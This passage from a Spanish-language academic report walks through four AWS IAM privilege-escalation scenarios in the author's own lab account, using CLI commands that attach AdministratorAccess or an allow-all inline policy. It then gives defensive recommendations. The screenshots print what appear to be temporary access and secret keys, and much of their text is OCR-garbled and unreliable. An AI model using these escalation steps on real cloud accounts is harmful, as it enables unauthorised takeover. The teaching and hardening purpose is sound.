"Version":
1
J

Fuente: Autoria Propia
Este usuario tiene el siguiente rol:
Figura 137 Rol del usuario privesc9-AttachRolePolicy-user

1AM Roles privescg-AttachRolePolicy-role

privesc9-AttachRolePolicy-role

Resumen

Fecha de creacion ARN

May 10, 2022, 23:05 (UTC-05:00) ] am:aws:iam::651927172911:role/privesc9-AttachRolePolicy-role
Ultima actividad Duracién maxima de la sesion

Ninguno 1 hora

Fuente: Autoria Propia
Otra manera de validar lo anterior, es por medio del comando:

> aws iam list-attached-user-policies --user-name privesc9-AttachRolePolicy-user



Figura 138 Politica del usuario privesc9-AttachRolePolicy-user

PS D:\METAS> aws lam list-attached-user-policies privesc9-AttachRolePolicy—user
r
L

"AttachedPolicies": [
r
1
"PolicyName" - 1vesc9-AttachRolePoll ]
"PolicyAr

2651927172911 policy/privesc9-AttachRolePolicy

Fuente: Autoria Propia

Obteniendo informacidn relevante para la verificacion de configuracion utilizando el
ARN de la politica del usuario verificado:

> aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc9-
AttachRolePolicy --version-id v1
Figura 139 ARN del usuario privesc9-AttachRolePolicy-user

I\METAS> aws lam get-policy-version arn:aws:iam::651927172911:pol
ttachRolePolicy vl

ocument”: {
"Statement”: [
“Action": "iam-AttachRolePolicy",
"Effect": "Allow",
"Resource": "*"

1,

"Version": "2812-18-17"

}' [

"VersionId": "wv1",

"IsDefaultVersion": true,

"CreateDate": "2022-05-11T04:084:41+006:68"

Fuente: Autoria Propia
Ahora con el usuario administrador, se va a generar unas credenciales con STS sobre

dicho usuario.



> aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc9-
AttachRolePolicy-role --role-session-name privesc9

Figura 140 Credenciales con STS del usuario privesc9-AttachRolePolicy-user

PS D:\METAS> aws sts assume-role arn:aws:lam:>651927172911:role/privesc9-AttachR
olePolicy-role privesc9

I
{

G0pBBbdSNSY7UBVRZ
fgzXpOCMTUR

"AssumedRolelser”: {
"AssumedRoleId”: "AROAZPSP LKK7HL:prives
"Arn": "arn:aws:sts::651927172911:assumed-role/privesc9-AttachRolePolicy-role/prive

Fuente: Autoria Propia

A partir de este momento, se esta trabajando con el usuario privesc9-AttachRolePolicy-
user.

Notas

Todos los comandos posteriores deben tener especificado el --profile con su respectivo
nombre de perfil.

Por lo anterior, se tiene que autenticar con el comando aws configure y validar con el
comando aws sts get-caller-identity.

aws configure --profile privesc9



Figura 141 Ejecucion del comando aws configure

PS D:\METAS> aws configure privescd
AWS Access Key ID [None]l: ASIAZPSPDG4X3KEK5YZS

AWS Secret Access Key [Nonel: vLvLXr/+L0+FZhQbHGT/KDvG5MvVH]FgFt3eds
Default region name [Nonel: us-east-2
Default output format [Mone]: json

Fuente: Autoria Propia
El token se especificard dentro del archivo plano de credenciales.
aws sts get-caller-identity --profile privesc9

Figura 142 Ejecucion del comando aws sts get-caller-identity

S D:\METAS> aws sts get-caller-identity privesc9

"UserId": "AROAZPSPDG4XUAYLKK7HL:privescd",
Account": "65
"Arn": "arn:aws:sts::651927172911:assumed-role/privesc9-AttachRolePolicy-role/privesc9”

Fuente: Autoria Propia
Si se intenta agregar al grupo de administradores, se va a obtener un error de permisos:
> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc9-
AttachRolePolicy-user --profile privesc9
Figura 143 Error al intentar agregar al grupo de administradores

“\METAS> aws iam add-user—to-group Group—Root-Spartan privesc9
-AttachRolePolicy-user privesc9

An error occurred (AccessDenied) when calling the AddUserToGroup operation: User: arn-aws:s
ts::651927172911:assumed-role/privesc9-AttachRolePolicy-role/privesc9 is not authorized to
perform: iam:AddUserToGroup on resource: group Group-Root-Spartan because no identity-based
policy allows the iam:-AddUserToGroup action

Fuente: Autoria Propia
En este escenario, simplemente se tiene que adjuntarnos la politica de administrador al

rol:



> aws iam attach-role-policy --role-name privesc9-AttachRolePolicy-role --policy-arn
arn:aws:iam::aws:policy/AdministratorAccess --profile privesc9
Figura 144 Adjuntar la politica de administrador al rol

AS> aws lam attach-role-policy privesc9-AttachRolePolicy-role
“lam: -aws-policy/AdministratorAccess privescd
PS D:\METAS> aws lam list-attached-role-policies privesc9-AttachRolePolicy-role
privesc9d
{
"AttachedPolicies": |
{
"Polic "2 "AdministratorAccess",
n": "arn-aws:iam:-aws:policy/Administratoraccess”

- "privesc9-AttachRolePolicy",
“aws:iam: -651927172911:policy/privesc9-AttachRolePolicy”

Fuente: Autoria Propia
Si se revisan ahora las politicas asociadas al usuario desde el rol, se puede apreciar que se

ha adjuntado exitosamente la politica de administrador al rol inicial.



Figura 145 Verificacion del nuevo rol del usuario

1AM Roles privesc9-AttachRolePolicy-role

privesc9-AttachRolePolicy-role

Resumen

Fecha de creacion
May 10, 2022, 23:05 (UTC-05:00)

Ultima actividad

Ninguno

Permisos Relaciones de confianza Etiquetas

Politicas de permisos (2

Nombre de la politica &'

privescg-AttachRolePolicy

I AdministratorAccess l

Fuente: Autoria Propia
Permiso iam: PutUserPolicy

Un usuario con el permiso “iam:PutUserPolicy” puede aumentar los privilegios creando o
actualizando una politica en linea para un usuario al que tiene acceso, agregando los permisos de
esa politica al usuario.

Explicacion practica

Primero, se debe localizar el usuario privesc10-PutUserPolicy-user



Figura 146 Usuario privescl0-PutUserPolicy-user

Usuarios > [privesc10-PutUserPolicy-user l

Resumen
ARN de usuario arn:aws:iam::651927172911:user/privesc10-PutUserPolicy-user £ I
Ruta !
Hora de creacion 2022-05-10 2304 CDT
Permisos Grupos Etiquetas Credenciales de seguridad Access Advisor

= Politicas de permisos (1 politica aplicada)

Anadir permisos

Nombre de la politica =

Asociada directamente

3 privesc10-PutUserPolicy

Fuente: Autoria Propia
Este usuario tiene la siguiente politica:

Figura 147 Politica de usuario privesc10-PutUserPolicy-user

ARN de politica [arn:aws:iam::65192'r"1?29ﬁ:policprrivescS—AhachRulePolicy i) I

Descripcion Allows privesc via iam:AttachRolePolicy

Permisos Utilizacion de la politica Etiquetas Versiones de la politica Access Advisor
Resumen de la politica {1JSON | Editar la politica
"Statement”: [
I
L
"Action™: " AttachRolePolicy™,
"Effect™:
"Resource
1
I
1.
"Version": "2812-16-17

)

Fuente: Autoria Propia

Este usuario tiene el siguiente rol:



Figura 148 Rol de usuario privescl0-PutUserPolicy-user

AM Roles

privesc10-PutUserPolicy-role

Resumen

Fecha de creacion ARN

May 10, 2022, 23:05 (UTC-05:00) 1 am:aws:iam::651927172911 role/privesc10-PutUserPolicy-role
Ultima actividad Duracion maxima de la sesion

Ninguno 1 hora

Fuente: Autoria Propia
Otra manera de validar lo anterior, es por medio del comando:
> aws iam list-attached-user-policies --user-name privesc10-PutUserPolicy-user

Figura 149 Politica de usuario privescl0-PutUserPolicy-user

PS D:\METAS> aws 1am list-attached-user-policies privescl8-PutUserPolicy—-user
r

"AttachedPolicies": [

ame": "priv 16-PutUserPolicy",
n": "arn-aws:iam: 651927172911 :policy/privescl@-PutUserPolicy

Fuente: Autoria Propia

Obteniendo informacion relevante para la verificacion de configuracion utilizando el
ARN de la politica del usuario verificado:

> aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc10-

PutUserPolicy --version-id v1



Figura 150 ARN del usuario privescl0-PutUserPolicy-user

sc18-PutUserPolicy

/ersion ws2lam: ;6519

vl

7172911:polic

I
L

fersion":
ument"
"Statement": [

T

"pol

“Action": "iam:PutUserPolicy",
“Effect™: "Allow",
"Resource":

1,

ny gy

Version": "28

1

I

"VersionId":
"IsDefaultVersion true,
“"CreateDate": "2022-85-11T64

Fuente: Autoria Propia

Ahora con el usuario administrador, se van a generar unas credenciales con STS sobre
dicho usuario.

> aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc10-
PutUserPolicy-role --role-session-name privesc10

Figura 151 Credenciales con STS del usuario privescl0-PutUserPolicy-user

aws sts assume-role aws:lam::651927172911:role/privescla-Putlse

rPolicy privesclo
1
"Credentials": {

essionToken":

0BZtQJgbpV
enQfImTrQNfMDt /gH/

"AssumedRoleUser": {
"AssumedRoleId": "ARODAZPSPD

"Arn": "arn:aws:sts::

o
(]

ivescl@8-PutUserPolicy-role/privesc

7DH2

privesd
2911:assumed-role/p




Fuente: Autoria Propia

A partir de este momento, se esta trabajando con el usuario privesc10-PutUserPolicy-
user.

Notas

Todos los comandos posteriores deben tener especificado el --profile con su respectivo
nombre de perfil.

Por lo anterior, se tiene que autenticar con el comando aws configure y validar con el
comando aws sts get-caller-identity.

aws configure --profile privesc10

Figura 152 Ejecucion del comando aws configure

PS D:\METAS> aws configure privescl@
AWS Access Key ID [None]: ASIAZPSPDG4XQVIPZMHO

AWS Secret Access Key [Nonel: yMxXCnyDE1LryjM+nSrys7iP/dF8Eya40QNTKYqDI
Default region name [None]: us-east-2
Default output format [Nonel: json

Fuente: Autoria Propia
El token se especificard dentro del archivo plano de credenciales.
aws sts get-caller-identity --profile privesc10

Figura 153 Ejecucion del comando aws sts get-caller-identity

PS D:\METAS> aws sts get-caller-identity privescl@
I
1

"UserId": "“ARDAZPSPDG4XZ67DH2IKC:privescle”,

“Account™: "651927172911",

“Arn": "arn:aws:sts::651927172911:assumed-role/privesclf-PutlUserPolicy-role/privesclg”

Fuente: Autoria Propia

Si se intenta agregar al grupo de administradores, se va a obtener un error de permisos:



> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc10-
PutUserPolicy-user --profile privesc10

Figura 154 Error al intentar agregar al grupo de administradores

PS D:-\METAS> aws lam add-user-to-group Group—Root-Spartan privescl
8-PutUserPolicy-user privescls

An error occurred (AccessDenied) when calling the AddUserToGroup operation: User: arn:aws:s
ts::651927172911:assumed-role/privescl@-PutUserPolicy ivescl® is not authorized to p
erform: iam:AddUserToGroup on resource: group Group—Root-Spartan because no identity-based
policy allows the 1am:AddUserToGroup action

Fuente: Autoria Propia
En este escenario, inicialmente se tiene que crear un documento de politica que permite
todas las acciones de AWS:

Figura 155 Documento de politica que permite todas las acciones de AWS

PS C:\Users\Gerh\Desktop> type .\admin_politica.json
r
1

"Version": "2012-18-17",

“Statement": [
T
L

"sid": "PermitirTodo",

"Effec "Allow",

"Action": .

“"Resource":

Fuente: Autoria Propia
Y posteriormente, se tiene que adjuntar la politica que se ha creado al usuario:
> aws iam put-user-policy --user-name privesc10-PutUserPolicy-user --policy-name

politica-PrivEsc-Spartan --policy-document file://admin_politica.json --profile privesc10



Figura 156 Adjuntar la politica que se ha creado al usuario

PS C:\Users\Gerh\Desktop> aws iam put-user-policy --user-name
privescl@-PutUserPolicy-user --policy-name politica-PrivEsc-Spartan

--policy-document file://admin politica.json --profile privescl®

PS C:\Users\Gerh\Desktop> aws iam list-user-policies --user-name
privescl®-PutUserPolicy-user
{
"PolicyNames™: [
"politica-PrivEsc-Spartan”

Fuente: Autoria Propia
Si se revisa ahora las politicas insertadas al usuario, se logra apreciar que se ha adjuntado
exitosamente la politica de administrador al usuario inicial.

Figura 157 Verificacion final del usuario

ARN de usuario Iam aws:iam:651927172911:user/privesc10-PutUserPolicy-user (] |

Ruta

Hora de creacién 2022-05-10 23:04 CDT

Permisos Grupoes { Cred lales de i Access Advisor

~ Politicas de permisos (2 politicas aplicadas)

Anadir permisos

Nombre de la politica Tipo de politica +

Asociada directamente

» privesc10-PutUserPolicy @ Politica administrada
- politica-PrivEsc-Spartan Politica insertada
Resumen de la politica Editar la politica

Fuente: Autoria Propia



Permiso iam: PutGroupPolicy

Un usuario con el permiso “iam:PutGroupPolicy” puede aumentar los privilegios creando

o actualizando una politica en linea para un grupo del que forma parte, agregando los permisos

de esa politica al usuario.
Explicacion practica
Primero, se debe localizar el usuario privescl1-PutGroupPolicy-user

Figura 158 Usuario privescl 1-PutGroupPolicy-user

Usuarios » [pri\resm1-F'utGroupP0|icy-user I

Resumen
ARN de usuario arn:aws:iam:651927172911:user/privesc11-PutGroupPolicy-user (f] I
Ruta /
Hora de creacion 2022-05-10 23:04 CDT
Permisos Grupos (1) Etiquetas Credenciales de seguridad Access Advisor

~ Politicas de permisos (1 politica aplicada)

Afadir permisos

Nombre de la politica +

Asociada directamente

3 privesc11-PutGroupPolicy

Fuente: Autoria Propia

Este usuario tiene la siguiente politica:



Figura 159 Politica del usuario privescl 1-PutGroupPolicy-user

ARN de politica

Descripcion

Permisos Utilizacion de la politica Etiquetas

arn-aws:iam::651927172911:policy/privesc11-PutGroupPolicy €]

Allows privesc via iam:PutGroupPolicy

Versiones de la politica Access Advisor

Resumen de la politica {1JSON | Editar la politica

{
"Statement": [
{
"Action": "iam:PutGr
"Effect": "Allow",
"Resource": "F"
}
]J‘
"Wersion": "2812-18-17"
by

Fuente: Autoria Propia

Este usuario tiene el siguiente rol:

Figura 160 Rol del usuario privescl I-PutGroupPolicy-user

1AM Roles privesc11-PutGroupPolicy-role

privesc11-PutGroupPolicy-role

Resumen

Fecha de creacion
May 10, 2022, 23:05 (UTC-05:00)

Ultima actividad

Ninguno

Fuente: Autoria Propia

ARN

1 arn-aws:iam 651927172911 role/privesc11-PutGroupPolicy-role

Duracién maxima de la sesion

1 hora

Este usuario hace parte del siguiente grupo:



Figura 161 Grupo del usuario privescl I-PutGroupPolicy-user

AN Grupos de usuarios

privesc11-PutGroupPolicy-group

Resumen

Nombre del grupo de usuarios

privesc11-PutGroupPolicy-group

Permisos Access Advisor

Usuarios de este grupo Informacién

Nombre de usuario '

privesc11-PutGroupPolicy-user

Fuente: Autoria Propia
Otra manera de validar lo anterior, es por medio del comando:
> aws iam list-attached-user-policies --user-name privescl 1-PutGroupPolicy-user

Figura 162 Politica del usuario privescl I-PutGroupPolicy-user

\Users\Gerh\Desktop>= aws lam list-attached-user-policies privescll-PutGroupPoll

cy-user
I
L
"AttachedPolicies": [
T
L

upPolicy",
-1lam: -651927172911:policy/privescll-PutGroupPolicy"

Fuente: Autoria Propia
Obteniendo informacion relevante para la verificacion de configuracion utilizando el

ARN de la politica del usuario verificado:



> aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privescl1-
PutGroupPolicy --version-id v1

Figura 163 ARN del usuario privescl I-PutGroupPolicy-user

\JUsers\Gerh\Desktop> aws iam get—-policy-version arn:aws:iam:-:651927172911:poli
rivescll-PutGroupPolicy vl

Version": {
"Document™: {
"Statement": [
"Action": “iam:PutGroupPolicy",
"Effect”: "Allow",
"Resource": "#"

1,

“Version": “2812-168-17"
}'r

"VersionId":
"IsDefaulty

"CreateDate":

Fuente: Autoria Propia

Ahora con el usuario administrador, se va a generar unas credenciales con STS sobre
dicho usuario.

> aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc] 1-

PutGroupPolicy-role --role-session-name privescl |



Figura 164 Credenciales con STS del usuario privescl I-PutGroupPolicy-user

sts assume-role arn:aws:iam::651927172911:role/privescl
privescll

rUbg00ADQC
yOTEX S0dmYFf2f
e0Edgo

"AssumedRoleUser":
"AssumedRoleId": "AROAZPSP { cprivesclil”,
"Arn": "arn:aws:sts::651927172911:assumed-role/privescll-PutGroupPol role/privescl1”

r

Fuente: Autoria Propia

A partir de este momento, se esta trabajando con el usuario privescl 1-PutGroupPolicy-
user.

Notas

Todos los comandos posteriores deben tener especificado el --profile con su respectivo
nombre de perfil.

Por lo anterior, se tiene que autenticar con el comando aws configure y validar con el
comando aws sts get-caller-identity.

aws configure --profile privescl 1
Figura 165 Ejecucion del comando aws configure

rhnDesktop= aws configure privescll
AWS Access Key ID [None] - ASIAZPSPDG4X54IKT7A4L

AWS Secret Access Key [Monel: fLEOa7p7MKIxIWMKgXFIKUvnBGhjzTSPtAMvIpo3
Default region name [Nonel: us-east-2
Default output format [Monel: json

Fuente: Autoria Propia



El token se especificard dentro del archivo plano de credenciales.
aws sts get-caller-identity --profile privescl1

Figura 166 Ejecucion del comando aws sts get-caller-identity

PS C-\Users\Gerh\Desktop> aws sts get-caller-identity privescll
)
1

"UserId": "AROAZPSP DWOPX6XM:privescll”,
“"Account": "651927172911",

“Arn": "arn-aws:sts::651927172911:assumed-role/privescll-PutGroupPolicy-role/privescl1”

Fuente: Autoria Propia
Si se intenta agregar al grupo de administradores, se va a obtener un error de permisos:
> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privescl1-
PutGroupPolicy-user --profile privescl1
Figura 167 Error al intentar agregar al grupo de administradores

\ rs) aws lam add-user—to-group Group—Root-Spartan
privescll-PutGroupPol privescil

An error occurred (AccessDenied) when calling the AddUserToGroup operation: User: arn:aws:sts::6
51927172911 :assumed-role/privescl1-PutGroup le/privescll is not authorized to perform: 1
am: AddUserToGroup on resource:. group Group—Root-Spartan because no identity-based policy allows
the iam-AddUserToGroup action

Fuente: Autoria Propia
En este escenario, inicialmente se tiene que crear un documento de politica que permite

todas las acciones de AWS:



Figura 168 Documento de politica que permite todas las acciones de AWS

Ps C:\Users\Gerh\Desktop= type .‘\admin_politica.json
I
1

L EW;

Version": "2812-16-17",
"Statement™: [
"5id": "PermitirTodo",
"Effect": "Allow",
"Action": "&",
"Resource": "#"

Fuente: Autoria Propia
Y posteriormente, se tiene que adjuntarnos la politica que se ha creado al usuario:
> aws iam put-group-policy --group-name privescl 1-PutGroupPolicy-group --policy-
name politica-PrivEsc2-Spartan --policy-document file://admin_politica.json --profile privescl 1
Figura 169 Adjuntar la politica al usuario
PS C:\Users\Gerh\Desktop> aws iam put-group-policy --group-name
privescll-PutGroupPolicy-group --policy-name politica-PrivEsc2-Spartan

--policy-document file://admin politica.json --profile privescll

PS C:\Users\Gerh\Desktop> aws iam list-group-policies --group-name
privescll-PutGroupPolicy-group

{

"PolicyNames™: [
"politica-PrivEsc2-Spartan”

Fuente: Autoria Propia
Si se revisan ahora las politicas insertadas al grupo, se logra apreciar que se ha adjuntado

exitosamente la politica de administrador al usuario inicial por medio del grupo.



Figura 170 Verificacion final del usuario

1AM Grupos de usuarios

|privesc1‘l—PutGroupPoIiCy—group |

Resumen

Nombre del grupo de usuarios Hora de creacion ARN

privesc11-PutGroupPolicy-group May 10, 2022, 23:04 (UTC-05:00) ) amaws:iam: 651927172911 group/pri
Usuarios Permisos Access Advisor

as de permisos (1) mformacion o simular Eliminar

Q A e o
Nombre de la politica - Tipo - Descripcién
&) politica-PrivEsc2-Spartan Cliente insertado Ly

politica-PrivEsc2-Spartan

Fuente: Autoria Propia
Permiso iam: PutRolePolicy

Un usuario con el permiso “iam:PutRolePolicy” puede aumentar los privilegios creando o
actualizando una politica en linea para un rol al que tiene acceso, agregando los permisos de esa
politica al usuario.

Explicacion practica

Primero, se debe localizar el usuario privesc12-PutRolePolicy-user



Figura 171 Usuario privescl2-PutRolePolicy-user

Usuarios >[pri\.resc12-PutRo|ePo|icy-user I

Resumen
ARN de usuario arn:aws:iam::651927172911:user/privesc12-PutRolePolicy-user €3] ]
Ruta /
Hora de creacion 2022-05-10 23:04 CDT
Permisos Grupos Etiquetas Credenciales de seguridad Access Advisor

« Politicas de permisos (1 politica aplicada)

Afadir permisos

Nombre de la politica +

Asociada directamente
k privesc12-F'utRoIeF'0Iicy
Fuente: Autoria Propia
Este usuario tiene la siguiente politica:

Figura 172 Politica del usuario privesc12-PutRolePolicy-user

ARN de politica l arn:aws:iam::651927172911 policy/privesc12-PutRolePolicy €

Descripcion  Allows privesc via iam:PutRolePolicy

Permisos Utilizacion de la politica Etiquetas Versiones de la politica Access Advisor
Resumen de la politica {}JSON | Editar la politica
{
"Statement™: [
{
"Action™: tRolePoli )
"Effect™: N
"Resource": "*"
}
]J
"Version": "2812-18-17"
}

Fuente: Autoria Propia

Este usuario tiene el siguiente rol:



Figura 173 Rol del usuario privesc12-PutRolePolicy-user

AM Roles

privesc12-PutRolePolicy-role

Resumen

Fecha de creacion ARN

May 10, 2022, 23:05 (UTC-05:00) 7 am:aws:iam::651927172911.role/privesci2-PulRolePolicy-role
Ultima actividad Duracion maxima de la sesion

Ninguno 1 hora

Fuente: Autoria Propia
Otra manera de validar lo anterior, es por medio del comando:
> aws iam list-attached-user-policies --user-name privesc12-PutRolePolicy-user

Figura 174 Politica del usuario privescl2-PutRolePolicy-user

P5 C:\Users\Gerh\Desktop> aws iam list-attached-user-policies privesclz-PutRolePolic
y—user
I
L
"AttachedPolicies":
I
{

"Polic
“PolicyArn": 27172911 policy/privescl2-PutRolePolicy™

Fuente: Autoria Propia

Obteniendo informacidn relevante para la verificacion de configuracion utilizando el
ARN de la politica del usuario verificado:

> aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc12-

PutRolePolicy --version-id v1



Figura 175 ARN del usuario privescl2-PutRolePolicy-user

erh\Desktop> aws iam get—policy-version
vescl2-PutRolePolicy "
"Policyversion"- {
IIDC‘CL”"EFIT“ =
"Statement": [

I
L

I
L

"Action": "iam:PutRolePolicy",
"Effect": "Allow",
"Resource”: "*"

1,

"Version": "26812-18-17"
1
Jr
“VersionId": "w1",
"IsDefaultVers i
"CreateDate": § A5- B4 )3+00: 00"

Fuente: Autoria Propia

arn:aws:lam::651927172911:poli

Ahora con el usuario administrador, se va a generar unas credenciales con STS sobre

dicho usuario.

> aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc12-

PutRolePolicy-role --role-session-name privesc12

Figura 176 Credenciales con STS del usuario privescl2-PutRolePolicy-user

aws sts assume-role arn:aws:lam:-651927172911:role/privescl

2-PutRolePolicy-r privescl?
"Credentials": {

"AccessKeyId":
"SecretAccesskK
“SessionToken": "
DhePvgBTnu74s6AIgdsP !

SMTE1DAk]5] 7 r IsE1IRNAS7e5HP
LFacDggkBnDoc \ TJNTHJ lhEil

50brewW MUpATLY
NWZeBrooJROa[
wgsQ+BFkF16+fxz0JIkB
ms3/wl3YETK

"AssumedRoleUser”: {
"AssumedRoleId”: "ARODAZPSPDG [ASEHLP:privesc12",

"Arn": "arn:aws:sts::651927172911:assumed-role/privescl2—-PutRolePolicy-role/privesc1lz”




Fuente: Autoria Propia

A partir de este momento, se esta trabajando con el usuario privesc12-PutRolePolicy-
user.

Notas

Todos los comandos posteriores deben tener especificado el --profile con su respectivo
nombre de perfil.

Por lo anterior, se tiene que autenticar con el comando aws configure y validar con el
comando aws sts get-caller-identity.

aws configure --profile privesc12

Figura 177 Ejecucion del comando aws

Ps C:\Users\Gerh\Desktop> aws configure privesclz2
AWS Access Key ID [None]: ASIAZPSPDG4X2 Y

AWS Secret Access Key [Nonel: PiXLcHWGaMo68dN1GRiGytfATrgnFRoYhWEFb4PU
Default region name [Nonel: us-east-2
Default output format [Nonel: json

Fuente: Autoria Propia
El token se especificara dentro del archivo plano de credenciales.
aws sts get-caller-identity --profile privesc12

Figura 178 Ejecucion del comando aws sts get-caller-identity

C:\Users\Gerh\Desktop> aws %ts get-caller-identity privescl2

“UserId": "“ARDAZPSPDG4XYOVASEHLP privesclz",

“"Account": "651927172911",
“Arn": “arn:aws:sts::651927172911:assumed-role/privescl2-PutRolePolicy-role/privesclz”

Fuente: Autoria Propia

Si se intenta agregar al grupo de administradores, se va a obtener un error de permisos:



> aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc12-
PutRolePolicy-user --profile privesc12

Figura 179 Error al intentar agregar al grupo de administradores

‘\Users\Gerh\Desktop> aws iam add-user-to-group Group-Root-5partan
privescl2-PutRolePoli r privescl2

An error occurred (AccessDenied) when calling the AddUserToGroup operation: User: arn:a
51927172911 assumed-role/privescl2-PutRolePol yle/privescl? is not authorized to
m:AddUserToGroup on resource: group Group—Root-Spartan because no identity-based polic
he iam:-AddUserToGroup action

Fuente: Autoria Propia
En este escenario, inicialmente se tiene que crear un documento de politica que permite
todas las acciones de AWS:

Figura 180 Documento de politica que permite todas las acciones de AWS

PS C:\Users\Gerh\Desktop> type .‘\admin_politica.json
r
1

[1]
1||

Version": "2812-16-17",
"Statement": [

T

1

"§1d": "PermitirTodo",

"Effect": "Allow",
"Action": "&",

"Resource": "#

Fuente: Autoria Propia
Y posteriormente, se tiene que adjuntarnos la politica que se ha creado al usuario:
> aws iam put-role-policy --role-name privesc12-PutRolePolicy-role --policy-name

politica-PrivEsc3-Spartan --policy-document file://admin_politica.json --profile privesc12



Figura 181 Adjuntar la politica que se ha creado al usuario

| p> aws lam put-role—policy
politica—PrivE Spartan

privescl2-PutRolePolicy-role
file://admin_politica.]json prives

S C:\Users\Gerh\Desktop> aws lam list-role-policies privescl2-PutRolePolicy-role

"PolicyNa
"politica—-PrivEsc3-5p

Fuente: Autoria Propia

Si se revisa ahora las politicas insertadas al rol, se logra apreciar que se ha adjuntado
exitosamente la politica de administrador al usuario inicial por medio del rol.

Figura 182 Verificacion final del usuario

IAM Roles

|privesc12-PutRoIePo|icy-roIe |

Resumen

Fecha de creacion

ARN

Enlace para cambiar de rol en la consola
May 10, 2022, 23:05 (UTC-05:00)

] am:aws:iam::651927172911:role/privesc12-PutRolePolicy-role ] https://signin.aws.amazon.com/switchrole2roleName=privesc12-F

olicy-role&account=651927172911

Ultima actividad Duracién maxima de la sesion

Ninguno 1 hora
Relacienes de confianza Etiquetas Access Advisor Revocar las sesiones
Politicas de permisos = simular Afiadir permisos
1
Nombre de la politica &7 Tipo Descripcion
privesc12-PutRolePolicy Administrada por el cliente Allows privesc via iam:PutRolePolicy
E politica-PrivEsc3-Spartan Cliente insertado

Fuente: Autoria Propia



Fase 4: Recomendaciones de Seguridad en el Servicio IAM de AWS
Recomendaciones Generales

Para mitigar el riesgo de escalacion de privilegios en IAM de AWS, es importante seguir
las mejores practicas de seguridad, como:

Principio de menor privilegio: Conceder permisos de IAM de manera selectiva,
limitando los privilegios a lo estrictamente necesario para las funciones asignadas. Evitar otorgar
permisos innecesarios que puedan incrementar el riesgo de acceso no autorizado.

Politica de acceso condicional: Implementar politicas de acceso condicional basadas en
diversos criterios, como la ubicacion del usuario, la hora del dia o el dispositivo utilizado para
acceder.

Revision periodica: Realizar revisiones regulares de los permisos asignados para
garantizar su relevancia y adecuacion. Revocar cualquier acceso que ya no sea necesario o que
haya quedado obsoleto debido a cambios en las responsabilidades de los usuarios o en los
requisitos operativos.

Auditoria y monitoreo: Establecer registros de auditoria y utilizar herramientas de
monitoreo para supervisar la actividad de los usuarios, identificar posibles anomalias o
comportamientos sospechosos y responder rapidamente a cualquier actividad maliciosa o
inusual.

Uso de politicas predefinidas: Considerar el uso de politicas IAM predefinidas
proporcionadas por AWS en lugar de crear politicas personalizadas. Estas politicas siguen las
mejores practicas de seguridad y pueden ayudar a reducir errores y vulnerabilidades en la gestion

de permisos.



Implementacion de politicas basadas en roles: Utilizar roles de IAM para agrupar
permisos relacionados y asignarlos segun sea necesario, lo que simplifica la gestion de permisos,
especialmente en entornos con multiples usuarios y recursos.

Rotacion regular de credenciales: Implementar politicas de rotacion regular de
contrasefias y claves de acceso para evitar el uso indebido de credenciales.

Seguimiento de cambios: Utilizar AWS Config para monitorear los cambios en los
permisos IAM y recibir notificaciones sobre cambios no autorizados o inesperados.

Autenticacion multifactor (MFA): Requerir autenticacion multifactor para los usuarios
que necesiten permisos IAM especificos, agregando una capa adicional de seguridad.

Actualizaciones y parches: Mantener actualizados los servicios y aplicaciones de AWS
para protegerse contra vulnerabilidades conocidas.

Formacion en seguridad: Educar a los usuarios sobre practicas de seguridad, incluida la
identificacion de intentos de ingenieria social, la importancia de proteger sus credenciales y la
importancia de implementar buenas practicas de seguridad en el IAM de AWS.

Recomendaciones Sobre los Permisos de IAM

La mayoria de los administradores de AWS reconocen el riesgo inherente de conceder
permisos a usuarios para realizar acciones en otros usuarios. Aunque es poco comun, existen
casos en los que se encuentran politicas que permiten a usuarios con pocos privilegios cambiar
explicitamente contrasefas de usuarios con mayores privilegios. Estas configuraciones
incorrectas suelen ocurrir debido a politicas mal definidas que tienen consecuencias imprevistas.

Algunos de los permisos de cuenta de usuario y grupo que pueden utilizarse para escalar
privilegios incluyen la capacidad de crear claves de acceso, perfiles de inicio de sesion,

actualizar perfiles de inicio de sesion y agregar usuarios a grupos. Por ejemplo, la



implementacion de listas negras, donde se definen permisos en la seccion "NotActions", puede
llevar a situaciones problematicas para los administradores, ya que los permisos no incluidos en
la lista negra se consideran implicitamente permitidos.

Para ilustrar este punto, se puede considerar un ejemplo de una politica de permisos
destinada a prevenir que los usuarios aumenten sus privilegios, pero que presenta una falla
debido a la exclusidon incompleta de permisos peligrosos.

Figura 183 Ejemplo de permisos en NotActions

"Version": "2022-02-17",
"Statement™: [
{

"Sid": "PoliticaDeDesarrollador”,

"NotAction™: [
"iam:CreateAccessKey",
"iam:CreateloginProfile”,

"iam:AddUserToGroup™

1,
"Effect™: "Allow",

"Resource": "*"

Fuente: Autoria Propia

El uso de una lista negra en lugar de un enfoque de lista blanca podria dejar abierta la
posibilidad de que los usuarios aumenten sus privilegios sin restricciones. Por lo tanto, se
recomienda otorgar cuidadosamente permisos como CreateAccessKey, CreateLoginProfile,
UpdateLoginProfile y AddUserToGroup solo a aquellos usuarios o roles que realmente los
necesiten para realizar sus funciones especificas. Ademas, se deben implementar medidas de
auditoria, monitoreo y rotacion regular de claves de acceso para mantener un control adecuado

sobre las acciones realizadas con estos permisos.



En cuanto a recomendaciones especificas para cada permiso, se sugiere otorgarlos
selectivamente, mantener registros de auditoria, utilizar roles de IAM, definir politicas explicitas,
implementar CloudTrail y CloudWatch para monitorear actividades, realizar revisiones
periodicas de permisos asignados y considerar la automatizacion de la gestion de usuarios y
grupos siempre que sea posible. Ademas, se enfatiza la importancia de la formacion sobre las
mejores practicas de seguridad IAM para que los usuarios comprendan la responsabilidad
asociada con la creacion y gestion de permisos.

Recomendaciones para el Permiso CreateAccessKey

El permiso CreateAccessKey debe ser asignado tinicamente a usuarios o roles que
requieran especificamente la capacidad de generar nuevas claves de acceso. Se sugiere evitar su
concesion de manera generalizada, priorizando la asignacion precisa basada en las necesidades
